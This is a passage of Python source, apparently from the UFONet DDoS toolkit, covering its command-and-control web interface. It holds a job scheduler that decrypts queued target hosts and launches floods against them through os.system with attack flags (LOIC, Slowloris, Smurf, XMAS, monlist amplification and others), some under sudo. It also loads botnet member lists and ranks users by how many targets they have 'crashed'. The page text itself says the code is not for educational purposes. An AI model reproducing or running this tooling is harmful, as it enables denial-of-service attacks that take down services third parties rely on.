  1357. <table cellpadding="5" cellspacing="5"><tr>
  1358. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  1359. <table cellpading="5" cellspacing="10"><tr><td>
  1360. <form method='GET'>
  1361. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  1362. </td></tr><tr><td>
  1363. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  1364. </form>
  1365. </td></tr></table></td></tr></table>
  1366. <hr><br>
  1367. </center>
  1368. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1369. <div id="cmdOut"></div>
  1370. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1371. """ + self.pages["/footer"]
  1372. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  1373. sep = "#-#"
  1374. flag_ufosyn = None
  1375. flag_spray = None
  1376. flag_smurf = None
  1377. flag_xmas = None
  1378. flag_nuke = None
  1379. flag_tachyon = None
  1380. flag_monlist = None
  1381. for job in wargames_engage_list:
  1382. job_t2 = job.rsplit(sep, 1)[0]
  1383. job_creation = job_t2.rsplit(sep, 1)[0]
  1384. job_target = job_t2.rsplit(sep, 1)[1]
  1385. job_estimated = job.rsplit(sep, 1)[1]
  1386. self.decrypt(self.crypto_key, job_estimated)
  1387. if self.decryptedtext:
  1388. job_estimated_dec = self.decryptedtext
  1389. else:
  1390. job_estimated_dec = ""
  1391. self.decryptedtext = ""
  1392. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1393. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  1394. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  1395. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  1396. self.decrypt(self.crypto_key, job_target)
  1397. if self.decryptedtext:
  1398. job_target_dec = self.decryptedtext
  1399. else:
  1400. job_target_dec = ""
  1401. self.decryptedtext = ""
  1402. if job_target_dec is not "":
  1403. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  1404. try: # read global army supply (json)
  1405. with open(self.mothership_supplycfg_file) as data_file:
  1406. data = json.load(data_file)
  1407. except:
  1408. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  1409. with open(self.mothership_supplycfg_file, "w") as f:
  1410. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
  1411. with open(self.mothership_supplycfg_file) as data_file:
  1412. data = json.load(data_file)
  1413. self.supply_botnet = data["botnet"]
  1414. self.supply_loic = data["loic"]
  1415. self.supply_loris = data["loris"]
  1416. self.supply_ufosyn = data["ufosyn"]
  1417. self.supply_spray = data["spray"]
  1418. self.supply_smurf = data["smurf"]
  1419. self.supply_xmas = data["xmas"]
  1420. self.supply_nuke = data["nuke"]
  1421. self.supply_tachyon = data["tachyon"]
  1422. self.supply_monlist = data["monlist"]
  1423. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  1424. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  1425. cmd = ""
  1426. nonroot_cmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1427. root_cmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1428. if int(self.supply_monlist) > 0:
  1429. cmd += "--monlist " +str(self.supply_monlist)+ " "
  1430. flag_monlist = True
  1431. if int(self.supply_tachyon) > 0:
  1432. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  1433. flag_tachyon = True
  1434. if int(self.supply_nuke) > 0:
  1435. cmd += "--nuke " +str(self.supply_nuke)+ " "
  1436. flag_nuke = True
  1437. if int(self.supply_xmas) > 0:
  1438. cmd += "--xmas " +str(self.supply_xmas)+ " "
  1439. flag_xmas = True
  1440. if int(self.supply_smurf) > 0:
  1441. cmd += "--smurf " +str(self.supply_smurf)+ " "
  1442. flag_smurf = True
  1443. if int(self.supply_spray) > 0:
  1444. cmd += "--spray " +str(self.supply_spray)+ " "
  1445. flag_spray = True
  1446. if int(self.supply_ufosyn) > 0:
  1447. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  1448. flag_ufosyn = True
  1449. if int(self.supply_loris) > 0:
  1450. cmd += "--loris " +str(self.supply_loris)+ " "
  1451. if int(self.supply_loic) > 0:
  1452. cmd += "--loic " +str(self.supply_loic)+ " "
  1453. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  1454. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  1455. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
  1456. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
  1457. runcmd = cmd + " "
  1458. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  1459. print("[Info] [Wargames] Running command:", runcmd, "\n")
  1460. os.system(runcmd) # launch it!
  1461. if "!!!" in job: # remove it from queue (unjob)
  1462. f = open(self.wargames_file, "r")
  1463. ls = f.readlines()
  1464. f.close()
  1465. f = open(self.wargames_file, "w")
  1466. for l in ls:
  1467. if str(l) != str(job):
  1468. f.write(l)
  1469. else:
  1470. job = re.sub('[!!!]', '', job)
  1471. f.write(job)
  1472. f.close()
  1473. def extract_ranking_table(self):
  1474. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  1475. ls = f.readlines()
  1476. f.close()
  1477. if not ls: # not data on grid.txt
  1478. return
  1479. ranking_items={}
  1480. ranking_key = crypto_key
  1481. nodec_text = "Anonymous"
  1482. nodec_num = 0
  1483. self.ranking_grid_total = 0
  1484. try:
  1485. for j in ls:
  1486. if grid_msg_sep in j:
  1487. self.ranking_grid_total = self.ranking_grid_total + 1
  1488. m = j.split(grid_msg_sep)
  1489. ranking_nickname = m[0] # nickname
  1490. self.decrypt(ranking_key, ranking_nickname)
  1491. if self.decryptedtext:
  1492. ranking_nickname = str(self.decryptedtext)
  1493. else:
  1494. ranking_nickname = nodec_text
  1495. if ranking_nickname == "Anonymous":
  1496. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  1497. self.decryptedtext = "" # clean decryptedtext buffer
  1498. ranking_ranking = m[1] # ranking
  1499. self.decrypt(ranking_key, ranking_ranking)
  1500. if self.decryptedtext:
  1501. try:
  1502. ranking_ranking = int(self.decryptedtext)
  1503. except:
  1504. ranking_ranking = nodec_num
  1505. else:
  1506. ranking_ranking = nodec_num
  1507. ranking_items[ranking_nickname] = ranking_ranking
  1508. except:
  1509. ranking_nickname = "Anonymous"
  1510. ranking_ranking = 0
  1511. ranking_items[ranking_nickname] = ranking_ranking
  1512. self.top_rookie = []
  1513. self.top_mercenary = []
  1514. self.top_bandit = []
  1515. self.top_ufommander = []
  1516. self.top_ufoleet = []
  1517. for k, v in ranking_items.items():
  1518. if v is 0: # not any data (or decryption allowed) on grid so discard
  1519. pass
  1520. if v is 1: # add this player as a rookie
  1521. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  1522. self.top_rookie.append(k)
  1523. elif v is 2: # add this player as a mercenary
  1524. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  1525. self.top_mercenary.append(k)
  1526. elif v is 3: # add this player as a bandit
  1527. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  1528. self.top_bandit.append(k)
  1529. elif v is 4: # add this player as a ufommander
  1530. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  1531. self.top_ufommander.append(k)
  1532. elif v is 5: # add this player as a ufoleet
  1533. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  1534. self.top_ufoleet.append(k)
  1535. else: # add this player as unknown
  1536. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  1537. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  1538. for p in top5: # extract best players
  1539. if self.ranking_top5_player1 == "Anonymous":
  1540. self.ranking_top5_player1 = p
  1541. elif self.ranking_top5_player2 == "Anonymous":
  1542. self.ranking_top5_player2 = p
  1543. elif self.ranking_top5_player3 == "Anonymous":
  1544. self.ranking_top5_player3 = p
  1545. elif self.ranking_top5_player4 == "Anonymous":
  1546. self.ranking_top5_player4 = p
  1547. elif self.ranking_top5_player5 == "Anonymous":
  1548. self.ranking_top5_player5 = p
  1549. if self.ranking == "Rookie":
  1550. shuffle(self.top_rookie) # shuffle for different results
  1551. top3 = self.top_rookie[:3]
  1552. elif self.ranking == "Mercenary":
  1553. shuffle(self.top_mercenary)
  1554. top3 = self.top_mercenary[:3]
  1555. elif self.ranking == "Bandit":
  1556. shuffle(self.top_bandit)
  1557. top3 = self.top_bandit[:3]
  1558. elif self.ranking == "UFOmmander!":
  1559. shuffle(self.top_ufommander)
  1560. top3 = self.top_ufommander[:3]
  1561. elif self.ranking == "UFOl33t!":
  1562. shuffle(self.top_ufoleet)
  1563. top3 = self.top_ufoleet[:3]
  1564. for p in top3: # extract similar player
  1565. if self.ranking_similar_player1 == "Anonymous":
  1566. self.ranking_similar_player1 = p
  1567. elif self.ranking_similar_player2 == "Anonymous":
  1568. self.ranking_similar_player2 = p
  1569. elif self.ranking_similar_player3 == "Anonymous":
  1570. self.ranking_similar_player3 = p
  1571. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  1572. shuffle(top1) # shuffle for different results
  1573. top1 = random.choice(top1).strip() # extract random player
  1574. self.ranking_top1_player1 = top1
  1575. def __init__(self):
  1576. self.crypto_key = crypto_key # set default symmetric crypto key
  1577. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  1578. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  1579. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  1580. self.board_warning = "" # set initial (str) board warning message
  1581. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  1582. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  1583. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  1584. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  1585. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  1586. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  1587. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  1588. self.news = "data/news.txt" # set source path to retrieve server news
  1589. self.missions = "data/missions.txt" # set source path to retrieve server missions
  1590. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  1591. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  1592. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  1593. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  1594. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  1595. self.ranking = "Rookie Star" # set starting rank
  1596. self.decryptedtext = "" # set buffer for decryption
  1597. self.encryptedtext = "" # set buffer for encryption
  1598. self.blackholes = "data/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  1599. self.blackhole = default_blackhole # set default blackhole
  1600. self.blackholes_status = "Not connected!" # set default status for blackholes
  1601. self.blackholes_status_color = "red" # set default status color for blackholes
  1602. self.referer = 'http://127.0.0.1/'
  1603. self.mothershipname = "core/txt/shipname.txt"
  1604. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  1605. self.favicon_img = open("core/images/favicon.txt").read()
  1606. self.mothership_img = open("core/images/mothership.txt").read()
  1607. self.commander_img = open("core/images/commander.txt").read()
  1608. self.board_img = open("core/images/board.txt").read()
  1609. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  1610. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  1611. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  1612. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  1613. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  1614. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  1615. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  1616. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  1617. self.ranking_grid_total = 0
  1618. self.ranking_grid_rookie = 0
  1619. self.ranking_grid_mercenary = 0
  1620. self.ranking_grid_bandit = 0
  1621. self.ranking_grid_ufommander = 0
  1622. self.ranking_grid_ufoleet = 0
  1623. self.ranking_grid_unknown = 0
  1624. self.ranking_top5_player1 = "Anonymous"
  1625. self.ranking_top5_player2 = "Anonymous"
  1626. self.ranking_top5_player3 = "Anonymous"
  1627. self.ranking_top5_player4 = "Anonymous"
  1628. self.ranking_top5_player5 = "Anonymous"
  1629. self.ranking_similar_player1 = "Anonymous"
  1630. self.ranking_similar_player2 = "Anonymous"
  1631. self.ranking_similar_player3 = "Anonymous"
  1632. self.ranking_top1_player1 = "Anonymous"
  1633. f = open(self.mothershipname) # extract ship name
  1634. self.mothership_id = f.read()
  1635. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1636. f.close()
  1637. f = open(self.release_date_file) # extract release creation datetime
  1638. self.release_date = f.read()
  1639. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  1640. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  1641. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  1642. self.trans_5C = self.trans_5C.encode("latin-1")
  1643. self.trans_36 = self.trans_36.encode("latin-1")
  1644. f.close()
  1645. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  1646. self.blackholes_text = f.read()
  1647. f.close()
  1648. f = open(self.blackholes)
  1649. self.blackholes_block = f.readlines()
  1650. f.close()
  1651. self.list_blackholes = []
  1652. for b in self.blackholes_block:
  1653. self.list_blackholes.append(b)
  1654. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.dat')) # extract nodes.dat datetime
  1655. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  1656. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  1657. else:
  1658. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  1659. f = open(self.news) # double extract news
  1660. self.news_text = f.read()
  1661. f.close()
  1662. f = open(self.news)
  1663. self.news_block = f.readlines()
  1664. f.close()
  1665. self.list_news = []
  1666. for n in self.news_block:
  1667. self.list_news.append(n)
  1668. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  1669. if self.news_datetime == self.release_date_file: # never connected to feeds
  1670. self.news_status_color = "red" # set status color for news to 'red'
  1671. else:
  1672. self.news_status_color = "green" # set status color for news to 'green'
  1673. f = open(self.board_file) # double extract board
  1674. self.moderator_text = f.read()
  1675. f.close()
  1676. f = open(self.board_file)
  1677. self.moderator_block = f.readlines()
  1678. f.close()
  1679. self.list_moderator = []
  1680. for n in self.moderator_block:
  1681. self.list_moderator.append(n)
  1682. f = open(self.grid_file) # double grid board
  1683. self.grid_text = f.read()
  1684. self.ranking_text = f.read() # ranking data is extracted from grid
  1685. f.close()
  1686. f = open(self.grid_file)
  1687. self.grid_block = f.readlines()
  1688. f.close()
  1689. self.list_grid = []
  1690. for n in self.grid_block:
  1691. self.list_grid.append(n)
  1692. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  1693. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  1694. self.ranking_status_color = "red" # set status color for ranking to 'red'
  1695. else:
  1696. self.ranking_status_color = "green" # set status color for ranking to 'green'
  1697. f = open(self.wargames_file) # double wargames board
  1698. self.wargames_text = f.read()
  1699. f.close()
  1700. f = open(self.wargames_file)
  1701. self.wargames_block = f.readlines()
  1702. f.close()
  1703. self.list_wargames = []
  1704. for n in self.wargames_block:
  1705. self.list_wargames.append(n)
  1706. f = open(self.missions) # double extract missions
  1707. self.missions_text = f.read()
  1708. f.close()
  1709. f = open(self.missions)
  1710. self.missions_block = f.readlines()
  1711. f.close()
  1712. self.list_missions = []
  1713. for m in self.missions_block:
  1714. self.list_missions.append(m)
  1715. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  1716. if self.missions_datetime == self.release_date_file: # never connected to feeds
  1717. self.missions_status_color = "red" # set status color for missions to 'red'
  1718. else:
  1719. self.missions_status_color = "green" # set status color for missions to 'green'
  1720. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  1721. data = json.load(stats_json_file)
  1722. stats_json_file.close()
  1723. self.abductor = Abductor(self) # call abductor for data size conversor
  1724. self.aflying = data["flying"]
  1725. self.ascanner = data["scanner"]
  1726. self.atransferred = data["transferred"]
  1727. self.amax_chargo = data["max_chargo"]
  1728. self.amissions = data["missions"]
  1729. self.acompleted = data["completed"]
  1730. self.aloic = data["loic"]
  1731. self.aloris = data["loris"]
  1732. self.aufosyn = data["ufosyn"]
  1733. self.aspray = data["spray"]
  1734. self.asmurf = data["smurf"]
  1735. self.axmas = data["xmas"]
  1736. self.anuke = data["nuke"]
  1737. self.atachyon = data["tachyon"]
  1738. self.amonlist = data["monlist"]
  1739. self.tcrashed = data["crashed"]
  1740. if int(self.acompleted) > 0: # check for attacks completed
  1741. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  1742. else:
  1743. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  1744. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  1745. self.ranking = "Rookie"
  1746. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  1747. self.ranking = "Mercenary"
  1748. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  1749. self.ranking = "Bandit"
  1750. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  1751. self.ranking = "UFOmmander!"
  1752. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  1753. self.ranking = "UFOl33t!"
  1754. f = open(self.zombies_file)
  1755. self.zombies = f.readlines()
  1756. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1757. self.list_zombies = []
  1758. for zombie in self.zombies:
  1759. t = urlparse(zombie)
  1760. name_zombie = t.netloc
  1761. if "www." in name_zombie:
  1762. name_zombie = name_zombie.replace("www.","")
  1763. self.list_zombies.append(name_zombie)
  1764. self.num_zombies = str(len(self.zombies))
  1765. f.close()
  1766. f = open(self.aliens_file)
  1767. self.aliens = f.readlines()
  1768. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1769. self.list_aliens = []
  1770. for alien in self.aliens:
  1771. t = urlparse(alien)
  1772. name_alien = t.netloc
  1773. if "www." in name_alien:
  1774. name_alien = name_alien.replace("www.","")
  1775. self.list_aliens.append(name_alien)
  1776. self.num_aliens = str(len(self.aliens))
  1777. f.close()
  1778. f = open(self.droids_file)
  1779. self.droids = f.readlines()
  1780. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1781. self.list_droids = []
  1782. for droid in self.droids:
  1783. t = urlparse(droid)
  1784. name_droid = t.netloc
  1785. if "www." in name_droid:
  1786. name_droid = name_droid.replace("www.","")
  1787. self.list_droids.append(name_droid)
  1788. self.num_droids = str(len(self.droids))
  1789. f.close()
  1790. f = open(self.ucavs_file)
  1791. self.ucavs = f.readlines()
  1792. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1793. self.list_ucavs = []
  1794. for ucav in self.ucavs:
  1795. t = urlparse(ucav)
  1796. name_ucav = t.netloc
  1797. if "www." in name_ucav:
  1798. name_ucav = name_ucav.replace("www.","")
  1799. self.list_ucavs.append(name_ucav)
  1800. self.num_ucavs = str(len(self.ucavs))
  1801. f.close()
  1802. f = open(self.rpcs_file)
  1803. self.rpcs = f.readlines()
  1804. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1805. self.list_rpcs = []
  1806. for rpc in self.rpcs:
  1807. t = urlparse(rpc)
  1808. name_rpc = t.netloc
  1809. if "www." in name_rpc:
  1810. name_rpc = name_rpc.replace("www.","")
  1811. self.list_rpcs.append(name_rpc)
  1812. self.num_rpcs = str(len(self.rpcs))
  1813. f.close()
  1814. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1815. f = open(self.wargames_file, "r")
  1816. ls = f.readlines()
  1817. f.close()
  1818. self.supply_wargames = 0
  1819. self.wargames_engage_list = []
  1820. for l in ls:
  1821. if "!!!" in l:
  1822. self.wargames_engage_list.append(l)
  1823. self.supply_wargames = self.supply_wargames + 1
  1824. if self.supply_wargames > 0:
  1825. if self.supply_wargames == 1:
  1826. c_supply = "wargame"
  1827. else:
  1828. c_supply = "wargames"
  1829. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  1830. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  1831. else:
  1832. self.current_tasks = ""
  1833. self.options = UFONetOptions()
  1834. self.pages = {}
  1835. self.pages["/header"] = """<!DOCTYPE html><html>
  1836. <head>
  1837. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  1838. <meta name="author" content="psy">
  1839. <meta name="robots" content="noindex, nofollow">
  1840. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  1841. <title>UFONet - [ C&C/DarkNet ]</title>
  1842. <script language="javascript" src="/lib.js"></script>
  1843. <script language="javascript" src="js/stars.js"></script>
  1844. <style>
  1845. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  1846. </style>"""
  1847. self.pages["/footer"] = """</center></body>
  1848. </html>
  1849. """
  1850. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  1851. function Start() {
  1852. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  1853. }
  1854. </script>
  1855. <script type="text/javascript">
  1856. var text="REMEMBER -> This code is NOT for educational purposes!!";
  1857. var delay=1;
  1858. var currentChar=1;
  1859. var destination="tt";
  1860. function type()
  1861. {
  1862. if (document.getElementById)
  1863. {
  1864. var dest=document.getElementById(destination);
  1865. if (dest)
  1866. {
  1867. dest.innerHTML=text.substr(0, currentChar);
  1868. currentChar++
  1869. if (currentChar>text.length)
  1870. {
  1871. currentChar=1;
  1872. setTimeout("type()", 5000);
  1873. }
  1874. else
  1875. {
  1876. setTimeout("type()", delay);
  1877. }
  1878. }
  1879. }
  1880. }
  1881. function startTyping(textParam, delayParam, destinationParam)
  1882. {
  1883. text=textParam;
  1884. delay=delayParam;
  1885. currentChar=1;
  1886. destination=destinationParam;
  1887. type();
  1888. }
  1889. </script>
  1890. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  1891. </head>
  1892. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1893. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1894. <center><br><br><br><br>
  1895. <table><tr><td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  1896. <div class="ufo-cloud">
  1897. <ul>
  1898. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  1899. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  1900. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  1901. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  1902. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  1903. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  1904. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  1905. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  1906. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  1907. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  1908. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  1909. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  1910. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  1911. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  1912. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  1913. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  1914. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  1915. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  1916. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  1917. </ul>
  1918. </div>
  1919. </td></tr></table><br>
  1920. <hr>
  1921. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a toolkit designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
  1922. <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
  1923. <script type="text/javascript">
  1924. startTyping(text, 80, "tt");
  1925. </script><hr><br />
  1926. <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  1927. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  1928. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1929. }
  1930. </script>
  1931. <script>function Missions() {
  1932. var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1933. }
  1934. </script>
  1935. <script>function Stats() {
  1936. var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1937. }
  1938. </script>
  1939. <script>function Board() {
  1940. var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1941. }
  1942. </script>
  1943. </head>
